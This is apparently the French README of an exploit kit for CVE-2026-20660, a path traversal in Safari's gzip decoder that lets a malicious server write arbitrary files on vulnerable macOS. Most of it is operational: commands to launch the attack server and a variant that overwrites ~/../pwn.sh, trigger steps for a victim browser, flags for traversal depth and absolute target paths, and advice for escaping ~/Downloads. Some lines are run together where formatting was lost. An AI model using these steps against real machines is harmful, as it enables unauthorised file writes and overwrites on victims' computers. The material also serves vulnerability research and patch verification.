
Exploit PoC autonome pour CVE-2026-20660 : traversée de chemin dans le décodeur gzip de Safari. Le serveur fournit un gzip malveillant pour écrire des fichiers arbitraires sur macOS vulnérable.
Ce dossier regroupe une preuve de concept autonome pour :
NSGZipDecoder via FNAME gzipserver.py : serveur PoC principal avec profondeur de traversée et nom de cible configurablesserver_overwrite.py : variante ciblée écrivant ../../pwn.shREADME.md : notes de reproduction et journal d'exploitationLe diff du correctif montre que -[NSGZipDecoder filenameWithOriginalFilename:] a changé de comportement :
lastPathComponent avant de renvoyer.Cela bloque les composants de répertoire tels que ../ et les chemins absolus dans FNAME.
Le nom de fichier HTTP peut être propre et l'exploitation réussit quand même.
Content-Disposition : propre (exemple : report.gz)../../proof.txt)L'assainissement côté Safari s'applique principalement aux noms de la couche HTTP, pas au FNAME gzip intégré consommé par NSGZipDecoder dans le flux vulnérable.
Depuis la racine du dépôt :
python3 exploit/cve-2026-20660/server.py --port 8888 --depth 2
Ouvrir dans un Safari vulnérable :
http://<server-ip>:8888/
Cliquer sur Trigger depth=2.
Après le déclenchement, vérifiez le résultat d'écriture sur la machine cible :
ls -la ~/cve-2026-20660-proof.txt
cat ~/cve-2026-20660-proof.txt
Pour la variante d'écrasement :
python3 exploit/cve-2026-20660/server_overwrite.py --port 9999
Puis ouvrir :
http://<server-ip>:9999/
Vérifier :
ls -la ~/pwn.sh
cat ~/pwn.sh
server.py)--bind, -b : adresse de liaison (par défaut 0.0.0.0)--port, -p : port d'écoute (par défaut 8888)--depth, -d : profondeur de traversée (nombre de répétitions de ../, par défaut 2)--name, -n : nom du fichier de sortie cibleExemples :
# write to ~/proof.txt when depth matches runtime directory nesting
python3 exploit/cve-2026-20660/server.py -p 8888 -d 2 -n proof.txt
# explicit absolute path test (if resolver permits)
python3 exploit/cve-2026-20660/server.py -p 8888
# then use: /download?depth=0&fname=/tmp/proof.txt
~/Downloads, donc la profondeur doit souvent être >= 2 pour s'échapper vers ~/.2, 3, 4) et refaites le test.À utiliser uniquement dans des environnements de test autorisés.
Pour une explication plus détaillée, voir :